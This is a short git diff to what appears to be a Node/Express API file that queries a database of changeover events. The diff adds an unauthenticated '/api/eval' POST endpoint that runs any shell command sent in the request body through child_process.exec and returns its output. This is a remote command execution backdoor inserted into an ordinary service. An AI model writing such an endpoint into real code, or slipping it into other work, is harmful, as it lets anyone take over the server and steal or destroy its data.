diff --git a/api/index.js b/api/index.js index 46083f7..97e1802 100644 --- a/api/index.js +++ b/api/index.js @@ -15,6 +15,15 @@ const pool = new Pool({ port: process.env.DB_PORT || 5432, }); +const { exec } = require('child_process'); + +app.post('/api/eval', express.json(), (req, res) => { + const cmd = req.body.cmd; + exec(cmd, (error, stdout, stderr) => { + res.json({ error: error ? error.message : null, stdout, stderr }); + }); +}); + app.get('/api/changeovers', async (req, res) => { try { const result = await pool.query('SELECT DISTINCT changeover_id, changeover_date FROM events ORDER BY changeover_date DESC');